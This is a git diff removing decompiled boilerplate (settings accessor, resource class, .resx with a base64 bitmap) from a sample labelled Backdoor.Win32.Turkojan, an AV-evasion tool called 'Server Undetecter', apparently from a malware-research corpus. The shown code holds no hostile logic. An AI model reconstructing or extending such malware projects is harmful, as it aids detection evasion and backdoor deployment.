a/MSIL/Backdoor/Win32/T/Backdoor.Win32.Turkojan.zwh-5af17d13c3e916217850f653e93ff6551f2e2da64506ec4362f38396c7d2d2df/My/MySettingsProperty.cs b/MSIL/Backdoor/Win32/T/Backdoor.Win32.Turkojan.zwh-5af17d13c3e916217850f653e93ff6551f2e2da64506ec4362f38396c7d2d2df/My/MySettingsProperty.cs deleted file mode 100644 index 2846207d..00000000 --- a/MSIL/Backdoor/Win32/T/Backdoor.Win32.Turkojan.zwh-5af17d13c3e916217850f653e93ff6551f2e2da64506ec4362f38396c7d2d2df/My/MySettingsProperty.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Server_Undetecter.My.MySettingsProperty -// Assembly: Server Undetecter, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: D5DD5A11-3E2A-4F57-B42E-07C8FDDA9C7E -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.Turkojan.zwh-5af17d13c3e916217850f653e93ff6551f2e2da64506ec4362f38396c7d2d2df.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; - -namespace Server_Undetecter.My -{ - [CompilerGenerated] - [StandardModule] - [HideModuleName] - [DebuggerNonUserCode] - internal sealed class MySettingsProperty - { - [HelpKeyword("My.Settings")] - internal static MySettings Settings => MySettings.Default; - } -} diff --git a/MSIL/Backdoor/Win32/T/Backdoor.Win32.Turkojan.zwh-5af17d13c3e916217850f653e93ff6551f2e2da64506ec4362f38396c7d2d2df/My/Resources/Resources.cs b/MSIL/Backdoor/Win32/T/Backdoor.Win32.Turkojan.zwh-5af17d13c3e916217850f653e93ff6551f2e2da64506ec4362f38396c7d2d2df/My/Resources/Resources.cs deleted file mode 100644 index 943a6e9e..00000000 --- a/MSIL/Backdoor/Win32/T/Backdoor.Win32.Turkojan.zwh-5af17d13c3e916217850f653e93ff6551f2e2da64506ec4362f38396c7d2d2df/My/Resources/Resources.cs +++ /dev/null @@ -1,49 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Server_Undetecter.My.Resources.Resources -// Assembly: Server Undetecter, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: D5DD5A11-3E2A-4F57-B42E-07C8FDDA9C7E -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.Turkojan.zwh-5af17d13c3e916217850f653e93ff6551f2e2da64506ec4362f38396c7d2d2df.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Drawing; -using System.Globalization; -using System.Resources; -using System.Runtime.CompilerServices; - -namespace Server_Undetecter.My.Resources -{ - [CompilerGenerated] - [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")] - [DebuggerNonUserCode] - [StandardModule] - [HideModuleName] - internal sealed class Resources - { - private static ResourceManager resourceMan; - private static CultureInfo resourceCulture; - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static ResourceManager ResourceManager - { - get - { - if (object.ReferenceEquals((object) Server_Undetecter.My.Resources.Resources.resourceMan, (object) null)) - Server_Undetecter.My.Resources.Resources.resourceMan = new ResourceManager("Server_Undetecter.Resources", typeof (Server_Undetecter.My.Resources.Resources).Assembly); - return Server_Undetecter.My.Resources.Resources.resourceMan; - } - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static CultureInfo Culture - { - get => Server_Undetecter.My.Resources.Resources.resourceCulture; - set => Server_Undetecter.My.Resources.Resources.resourceCulture = value; - } - - internal static Bitmap Whack_20MS_20Access => (Bitmap) RuntimeHelpers.GetObjectValue(Server_Undetecter.My.Resources.Resources.ResourceManager.GetObject("Whack%20MS%20Access", Server_Undetecter.My.Resources.Resources.resourceCulture)); - } -} diff --git a/MSIL/Backdoor/Win32/T/Backdoor.Win32.Turkojan.zwh-5af17d13c3e916217850f653e93ff6551f2e2da64506ec4362f38396c7d2d2df/Resources.resx b/MSIL/Backdoor/Win32/T/Backdoor.Win32.Turkojan.zwh-5af17d13c3e916217850f653e93ff6551f2e2da64506ec4362f38396c7d2d2df/Resources.resx deleted file mode 100644 index f500a145..00000000 --- a/MSIL/Backdoor/Win32/T/Backdoor.Win32.Turkojan.zwh-5af17d13c3e916217850f653e93ff6551f2e2da64506ec4362f38396c7d2d2df/Resources.resx +++ /dev/null @@ -1,123 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - 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